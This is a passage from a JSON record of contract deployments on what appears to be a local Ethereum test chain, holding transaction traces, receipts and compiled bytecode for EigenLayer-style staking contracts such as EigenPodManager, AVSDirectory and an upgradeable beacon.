015260a40161071d565b611c45611f48565b6001600160a01b038116611caa5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161071d565b6109c181611fa2565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d06573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d2a91906126d4565b6001600160a01b0316336001600160a01b031614611d5a5760405162461bcd60e51b815260040161071d906126f1565b606654198119606654191614611dd85760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c6974790000000000000000606482015260840161071d565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c90602001610af8565b6000808313611e2f5760008213611e285750600061090b565b508061090b565b60008213611e4757611e40836127a5565b905061090b565b611e40838361287c565b6001600160a01b038116611edf5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a40161071d565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6033546001600160a01b031633146111345760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161071d565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6000609960008154612005906128d0565b9091555060408051610940810190915261090e8082526000916120a491839133916128ea6020830139604080516001600160a01b037f000000000000000000000000b7f8bc63bbcad18155201308c8f3540b07f84f5e166020820152808201919091526000606082015260800160408051601f19818403018152908290526120909291602001612867565b6040516020818303038152906040526122e9565b60405163189acdbd60e31b81523360048201529091506001600160a01b0382169063c4d66de890602401600060405180830381600087803b1580156120e857600080fd5b505af11580156120fc573d6000803e3d6000fd5b50503360008181526098602052604080822080546001600160a01b0319166001600160a01b038816908117909155905192945092507f21c99d0db02213c32fff5b05cf0a718ab5f858802b91498f80d82270289d856a91a3919050565b604080516001600160f81b03196020808301919091526bffffffffffffffffffffffff193060601b16602183015260358201859052605580830185905283518084039091018152607590920190925280519101206000906113d8565b609780546001600160a01b0319166001600160a01b0383169081179091556040517f08f0470754946ccfbb446ff7fd2d6ae6af1bbdae19f85794c0cc5ed5e8ceb4f690600090a250565b6065546001600160a01b031615801561222057506001600160a01b03821615155b6122a25760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a40161071d565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a26122e582611e51565b5050565b6000808447101561233c5760405162461bcd60e51b815260206004820152601d60248201527f437265617465323a20696e73756666696369656e742062616c616e6365000000604482015260640161071d565b825160000361238d5760405162461bcd60e51b815260206004820181905260248201527f437265617465323a2062797465636f6465206c656e677468206973207a65726f604482015260640161071d565b8383516020850187f590506001600160a01b0381166123ee5760405162461bcd60e51b815260206004820152601960248201527f437265617465323a204661696c6564206f6e206465706c6f7900000000000000604482015260640161071d565b949350505050565b6001600160a01b03811681146109c157600080fd5b6000806040838503121561241e57600080fd5b8235612429816123f6565b946020939093013593505050565b60006020828403121561244957600080fd5b81356113d8816123f6565b60006020828403121561246657600080fd5b5035919050565b60008060006060848603121561248257600080fd5b833561248d816123f6565b9250602084013561249d816123f6565b929592945050506040919091013590565b6000602082840312156124c057600080fd5b813567ffffffffffffffff811681146113d857600080fd5b6000602082840312156124ea57600080fd5b813560ff811681146113d857600080fd5b60008083601f84011261250d57600080fd5b50813567ffffffffffffffff81111561252557600080fd5b60208301915083602082850101111561253d57600080fd5b9250929050565b60008060008060006060868803121561255c57600080fd5b853567ffffffffffffffff81111561257357600080fd5b61257f888289016124fb565b909650945050602086013567ffffffffffffffff81111561259f57600080fd5b6125ab888289016124fb565b96999598509660400135949350505050565b600080600080608085870312156125d357600080fd5b84356125de816123f6565b935060208501356125ee816123f6565b925060408501356125fe816123f6565b9396929550929360600135925050565b602080825260409082018190527f456967656e506f644d616e616765722e6f6e6c7944656c65676174696f6e4d61908201527f6e616765723a206e6f74207468652044656c65676174696f6e4d616e61676572606082015260800190565b634e487b7160e01b600052601260045260246000fd5b6000826126915761269161266c565b500690565b634e487b7160e01b600052601160045260246000fd5b80820182811260008312801582168215821617156126cc576126cc612696565b505092915050565b6000602082840312156126e657600080fd5b81516113d8816123f6565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b60006020828403121561274d57600080fd5b815180151581146113d857600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b6000600160ff1b82016127ba576127ba612696565b5060000390565b8181038181111561090b5761090b612696565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b6060815260006128116060830187896127d4565b82810360208401526128248186886127d4565b9150508260408301529695505050505050565b6000815160005b81811015612858576020818501810151868301520161283e565b50600093019283525090919050565b60006123ee6128768386612837565b84612837565b818103600083128015838313168383128216171561289c5761289c612696565b5092915050565b6000826128b2576128b261266c565b500790565b6000602082840312156128c957600080fd5b5051919050565b6000600182016128e2576128e2612696565b506001019056fe608060405260405161090e38038061090e83398101604081905261002291610460565b61002e82826000610035565b505061058a565b61003e83610100565b6040516001600160a01b038416907f1cf3b03a6cf19fa2baba4df148e9dcabedea7f8a5c07840e207e5c089be95d3e90600090a260008251118061007f5750805b156100fb576100f9836001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e99190610520565b836102a360201b6100291760201c565b505b505050565b610113816102cf60201b6100551760201c565b6101725760405162461bcd60e51b815260206004820152602560248201527f455243313936373a206e657720626561636f6e206973206e6f74206120636f6e6044820152641d1c9858dd60da1b60648201526084015b60405180910390fd5b6101e6816001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101d79190610520565b6102cf60201b6100551760201c565b61024b5760405162461bcd60e51b815260206004820152603060248201527f455243313936373a20626561636f6e20696d706c656d656e746174696f6e206960448201526f1cc81b9bdd08184818dbdb9d1c9858dd60821b6064820152608401610169565b806102827fa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d5060001b6102de60201b6100641760201c565b80546001600160a01b0319166001600160a01b039290921691909117905550565b60606102c883836040518060600160405280602781526020016108e7602791396102e1565b9392505050565b6001600160a01b03163b151590565b90565b6060600080856001600160a01b0316856040516102fe919061053b565b600060405180830381855af49150503d8060008114610339576040519150601f19603f3d011682016040523d82523d6000602084013e61033e565b606091505b5090925090506103508683838761035a565b9695505050505050565b606083156103c65782516103bf576001600160a01b0385163b6103bf5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610169565b50816103d0565b6103d083836103d8565b949350505050565b8151156103e85781518083602001fd5b8060405162461bcd60e51b81526004016101699190610557565b80516001600160a01b038116811461041957600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b8381101561044f578181015183820152602001610437565b838111156100f95750506000910152565b6000806040838503121561047357600080fd5b61047c83610402565b60208401519092506001600160401b038082111561049957600080fd5b818501915085601f8301126104ad57600080fd5b8151818111156104bf576104bf61041e565b604051601f8201601f19908116603f011681019083821181831017156104e7576104e761041e565b8160405282815288602084870101111561050057600080fd5b610511836020830160208801610434565b80955050505050509250929050565b60006020828403121561053257600080fd5b6102c882610402565b6000825161054d818460208701610434565b9190910192915050565b6020815260008251806020840152610576816040850160208701610434565b601f01601f19169190910160400192915050565b61034e806105996000396000f3fe60806040523661001357610011610017565b005b6100115b610027610022610067565b610100565b565b606061004e83836040518060600160405280602781526020016102f260279139610124565b9392505050565b6001600160a01b03163b151590565b90565b600061009a7fa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50546001600160a01b031690565b6001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100fb9190610249565b905090565b3660008037600080366000845af43d6000803e80801561011f573d6000f35b3d6000fd5b6060600080856001600160a01b03168560405161014191906102a2565b600060405180830381855af49150503d806000811461017c576040519150601f19603f3d011682016040523d82523d6000602084013e610181565b606091505b50915091506101928683838761019c565b9695505050505050565b6060831561020d578251610206576001600160a01b0385163b6102065760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064015b60405180910390fd5b5081610217565b610217838361021f565b949350505050565b81511561022f5781518083602001fd5b8060405162461bcd60e51b81526004016101fd91906102be565b60006020828403121561025b57600080fd5b81516001600160a01b038116811461004e57600080fd5b60005b8381101561028d578181015183820152602001610275565b8381111561029c576000848401525b50505050565b600082516102b4818460208701610272565b9190910192915050565b60208152600082518060208401526102dd816040850160208701610272565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220d51e81d3bc5ed20a26aeb05dce7e825c503b2061aa78628027300c8d65b9d89a64736f6c634300080c0033416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65644e2b791dedccd9fb30141b088cabf5c14a8912b52f59375c95c010700b8c6193456967656e506f644d616e616765722e77697468647261775368617265734173a26469706673582212207ff0786e5c0a24739a386958aed54016658ca50211cd889cffa9bed27003964664736f6c634300081b0033","nonce":17,"gas_used":2870970},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x2bceba","logs":[{"address":"0x9a9f2ccfde556a7e9ff0848998aa4a0cfd8863ae","topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x00000000000000000000000000000000000000000000000000000000000000ff"}],"logsBloom":"0x00000000000001000000000000000000000000000000000000000000000000000000000020000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0x6ecf269cb665a182387c2b67df9eec0a1a7b1122aee03d2a92bb38e42b44b44a","block_number":14},{"info":{"transaction_hash":"0x827ff68a4d4186a0f8f7dc0aff74d02be914a1ba3a24f1d64775925750ee1044","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0xb7f8bc63bbcad18155201308c8f3540b07f84f5e","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0xb7f8bc63bbcad18155201308c8f3540b07f84f5e","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x608060405234801561001057600080fd5b506040516104be3803806104be83398101604081905261002f9161013a565b61003833610047565b61004181610097565b5061016a565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0381163b6101185760405162461bcd60e51b815260206004820152603360248201527f5570677261646561626c65426561636f6e3a20696d706c656d656e746174696f60448201527f6e206973206e6f74206120636f6e747261637400000000000000000000000000606482015260840160405180910390fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60006020828403121561014c57600080fd5b81516001600160a01b038116811461016357600080fd5b9392505050565b610345806101796000396000f3fe608060405234801561001057600080fd5b50600436106100575760003560e01c80633659cfe61461005c5780635c60da1b14610071578063715018a61461009a5780638da5cb5b146100a2578063f2fde38b146100b3575b600080fd5b61006f61006a3660046102df565b6100c6565b005b6001546001600160a01b03165b6040516001600160a01b03909116815260200160405180910390f35b61006f61010e565b6000546001600160a01b031661007e565b61006f6100c13660046102df565b610122565b6100ce6101a0565b6100d7816101fa565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b6101166101a0565b610120600061028f565b565b61012a6101a0565b6001600160a01b0381166101945760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b61019d8161028f565b50565b6000546001600160a01b031633146101205760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161018b565b6001600160a01b0381163b61026d5760405162461bcd60e51b815260206004820152603360248201527f5570677261646561626c65426561636f6e3a20696d706c656d656e746174696f6044820152721b881a5cc81b9bdd08184818dbdb9d1c9858dd606a1b606482015260840161018b565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000602082840312156102f157600080fd5b81356001600160a01b038116811461030857600080fd5b939250505056fea26469706673582212207a6d133625066cab7d23f40b4e207ae40bdd3e892087cfa5f7b370330d37086964736f6c634300081b0033000000000000000000000000610178da211fef7d417bc0e6fed39f05609ad788","output":"0x608060405234801561001057600080fd5b50600436106100575760003560e01c80633659cfe61461005c5780635c60da1b14610071578063715018a61461009a5780638da5cb5b146100a2578063f2fde38b146100b3575b600080fd5b61006f61006a3660046102df565b6100c6565b005b6001546001600160a01b03165b6040516001600160a01b03909116815260200160405180910390f35b61006f61010e565b6000546001600160a01b031661007e565b61006f6100c13660046102df565b610122565b6100ce6101a0565b6100d7816101fa565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b6101166101a0565b610120600061028f565b565b61012a6101a0565b6001600160a01b0381166101945760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b61019d8161028f565b50565b6000546001600160a01b031633146101205760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161018b565b6001600160a01b0381163b61026d5760405162461bcd60e51b815260206004820152603360248201527f5570677261646561626c65426561636f6e3a20696d706c656d656e746174696f6044820152721b881a5cc81b9bdd08184818dbdb9d1c9858dd606a1b606482015260840161018b565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000602082840312156102f157600080fd5b81356001600160a01b038116811461030857600080fd5b939250505056fea26469706673582212207a6d133625066cab7d23f40b4e207ae40bdd3e892087cfa5f7b370330d37086964736f6c634300081b0033","gas_used":216356,"gas_limit":302820,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0}]}],"exit":"Return","out":"0x608060405234801561001057600080fd5b50600436106100575760003560e01c80633659cfe61461005c5780635c60da1b14610071578063715018a61461009a5780638da5cb5b146100a2578063f2fde38b146100b3575b600080fd5b61006f61006a3660046102df565b6100c6565b005b6001546001600160a01b03165b6040516001600160a01b03909116815260200160405180910390f35b61006f61010e565b6000546001600160a01b031661007e565b61006f6100c13660046102df565b610122565b6100ce6101a0565b6100d7816101fa565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b6101166101a0565b610120600061028f565b565b61012a6101a0565b6001600160a01b0381166101945760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b61019d8161028f565b50565b6000546001600160a01b031633146101205760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161018b565b6001600160a01b0381163b61026d5760405162461bcd60e51b815260206004820152603360248201527f5570677261646561626c65426561636f6e3a20696d706c656d656e746174696f6044820152721b881a5cc81b9bdd08184818dbdb9d1c9858dd606a1b606482015260840161018b565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000602082840312156102f157600080fd5b81356001600160a01b038116811461030857600080fd5b939250505056fea26469706673582212207a6d133625066cab7d23f40b4e207ae40bdd3e892087cfa5f7b370330d37086964736f6c634300081b0033","nonce":11,"gas_used":288554},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x4672a","logs":[{"address":"0xb7f8bc63bbcad18155201308c8f3540b07f84f5e","topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"}],"logsBloom":"0x00000000100000000000000000000000000000000040000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001800000000000000000000000000000000000020000000000000100000800000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000002000000000000000000020000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0x5e110648bab9775615f660a7d3fae17f050381bcecd94b54b968a6f9992e8a71","block_number":9},{"info":{"transaction_hash":"0x18eb6e3b17bc80bb91bbb894abe9fcda9515e26caad9f936a8c7539c2eb1818a","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x9a676e781a523b5d0c0e43731313a708cb607508","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x9a676e781a523b5d0c0e43731313a708cb607508","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x60c060405234801561001057600080fd5b50604051611f65380380611f6583398101604081905261002f9161010e565b6001600160a01b03811660805261004461004e565b504660a05261013e565b600054610100900460ff16156100ba5760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff908116101561010c576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b60006020828403121561012057600080fd5b81516001600160a01b038116811461013757600080fd5b9392505050565b60805160a051611dfb61016a6000396000610ea501526000818161032401526109810152611dfb6000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c80638da5cb5b116100b8578063d79aceab1161007c578063d79aceab146102f8578063df5cf7231461031f578063ec76f44214610346578063f2fde38b14610359578063f698da251461036c578063fabc1cbc1461037457600080fd5b80638da5cb5b1461029b5780639926ee7d146102ac578063a1060c88146102bf578063a364f4da146102d2578063a98fb355146102e557600080fd5b806349075da31161010a57806349075da3146101fa578063595c6a67146102355780635ac86ab71461023d5780635c975abb14610260578063715018a614610268578063886f11951461027057600080fd5b806310d67a2f14610147578063136439dd1461015c5780631794bb3c1461016f57806320606b7014610182578063374823b5146101bc575b600080fd5b61015a6101553660046118a2565b610387565b005b61015a61016a3660046118c6565b610443565b61015a61017d3660046118df565b610582565b6101a97f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6040519081526020015b60405180910390f35b6101ea6101ca366004611920565b609960209081526000928352604080842090915290825290205460ff1681565b60405190151581526020016101b3565b61022861020836600461194c565b609860209081526000928352604080842090915290825290205460ff1681565b6040516101b3919061199b565b61015a6106ac565b6101ea61024b3660046119c3565b606654600160ff9092169190911b9081161490565b6066546101a9565b61015a610773565b606554610283906001600160a01b031681565b6040516001600160a01b0390911681526020016101b3565b6033546001600160a01b0316610283565b61015a6102ba366004611a56565b610787565b6101a96102cd366004611b4b565b610b18565b61015a6102e03660046118a2565b610bd1565b61015a6102f3366004611b91565b610d39565b6101a97fda2c89bafdd34776a2b8bb9c83c82f419e20cc8c67207f70edd58249b92661bd81565b6102837f000000000000000000000000000000000000000000000000000000000000000081565b61015a6103543660046118c6565b610d80565b61015a6103673660046118a2565b610e2b565b6101a9610ea1565b61015a6103823660046118c6565b610ede565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156103da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103fe9190611c05565b6001600160a01b0316336001600160a01b0316146104375760405162461bcd60e51b815260040161042e90611c22565b60405180910390fd5b6104408161103a565b50565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa15801561048b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104af9190611c6c565b6104cb5760405162461bcd60e51b815260040161042e90611c8e565b606654818116146105445760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c6974790000000000000000606482015260840161042e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b600054610100900460ff16158080156105a25750600054600160ff909116105b806105bc5750303b1580156105bc575060005460ff166001145b61061f5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b606482015260840161042e565b6000805460ff191660011790558015610642576000805461ff0019166101001790555b61064c8383611131565b61065461121b565b609755610660846112b2565b80156106a6576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b50505050565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156106f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107189190611c6c565b6107345760405162461bcd60e51b815260040161042e90611c8e565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b61077b611304565b61078560006112b2565b565b6066546000906001908116036107db5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161042e565b42826040015110156108435760405162461bcd60e51b815260206004820152603e6024820152600080516020611da683398151915260448201527f56533a206f70657261746f72207369676e617475726520657870697265640000606482015260840161042e565b60013360009081526098602090815260408083206001600160a01b038816845290915290205460ff16600181111561087d5761087d611985565b036108de5760405162461bcd60e51b815260206004820152603f6024820152600080516020611da683398151915260448201527f56533a206f70657261746f7220616c7265616479207265676973746572656400606482015260840161042e565b6001600160a01b038316600090815260996020908152604080832085830151845290915290205460ff16156109625760405162461bcd60e51b81526020600482015260366024820152600080516020611da68339815191526044820152751594ce881cd85b1d08185b1c9958591e481cdc195b9d60521b606482015260840161042e565b6040516336b87bd760e11b81526001600160a01b0384811660048301527f00000000000000000000000000000000000000000000000000000000000000001690636d70f7ae90602401602060405180830381865afa1580156109c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ec9190611c6c565b610a625760405162461bcd60e51b815260206004820152604d6024820152600080516020611da683398151915260448201527f56533a206f70657261746f72206e6f74207265676973746572656420746f204560648201526c1a59d95b93185e595c881e595d609a1b608482015260a40161042e565b6000610a78843385602001518660400151610b18565b9050610a898482856000015161135e565b3360008181526098602090815260408083206001600160a01b0389168085529083528184208054600160ff199182168117909255609985528386208a860151875290945293829020805490931684179092555190917ff0952b1c65271d819d39983d2abb044b9cace59bcc4d4dd389f586ebdcb15b4191610b0a919061199b565b60405180910390a350505050565b604080517fda2c89bafdd34776a2b8bb9c83c82f419e20cc8c67207f70edd58249b92661bd6020808301919091526001600160a01b0387811683850152861660608301526080820185905260a08083018590528351808403909101815260c0909201909252805191012060009081610b8e610ea1565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f190181529190528051602090910120979650505050505050565b606654600090600190811603610c255760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161042e565b60013360009081526098602090815260408083206001600160a01b038716845290915290205460ff166001811115610c5f57610c5f611985565b14610cd25760405162461bcd60e51b815260206004820152603f60248201527f4156534469726563746f72792e646572656769737465724f70657261746f724660448201527f726f6d4156533a206f70657261746f72206e6f74207265676973746572656400606482015260840161042e565b3360008181526098602090815260408083206001600160a01b0387168085529252808320805460ff191690555190917ff0952b1c65271d819d39983d2abb044b9cace59bcc4d4dd389f586ebdcb15b4191610d2d919061199b565b60405180910390a35050565b336001600160a01b03167fa89c1dc243d8908a96dd84944bcc97d6bc6ac00dd78e20621576be6a3c9437138383604051610d74929190611cd6565b60405180910390a25050565b33600090815260996020908152604080832084845290915290205460ff1615610e055760405162461bcd60e51b815260206004820152603160248201527f4156534469726563746f72792e63616e63656c53616c743a2063616e6e6f742060448201527018d85b98d95b081cdc195b9d081cd85b1d607a1b606482015260840161042e565b33600090815260996020908152604080832093835292905220805460ff19166001179055565b610e33611304565b6001600160a01b038116610e985760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161042e565b610440816112b2565b60007f00000000000000000000000000000000000000000000000000000000000000004603610ed1575060975490565b610ed961121b565b905090565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f559190611c05565b6001600160a01b0316336001600160a01b031614610f855760405162461bcd60e51b815260040161042e90611c22565b6066541981196066541916146110035760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c6974790000000000000000606482015260840161042e565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c90602001610577565b6001600160a01b0381166110c85760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a40161042e565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6065546001600160a01b031615801561115257506001600160a01b03821615155b6111d45760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a40161042e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a26112178261103a565b5050565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6033546001600160a01b031633146107855760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161042e565b6001600160a01b0383163b1561147d57604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e9061139e9086908690600401611d05565b602060405180830381865afa1580156113bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113df9190611d5a565b6001600160e01b031916146114785760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a40161042e565b505050565b826001600160a01b0316611491838361151d565b6001600160a01b0316146114785760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a40161042e565b600080600061152c8585611543565b91509150611539816115b1565b5090505b92915050565b60008082516041036115795760208301516040840151606085015160001a61156d87828585611767565b945094505050506115aa565b82516040036115a25760208301516040840151611597868383611854565b9350935050506115aa565b506000905060025b9250929050565b60008160048111156115c5576115c5611985565b036115cd5750565b60018160048111156115e1576115e1611985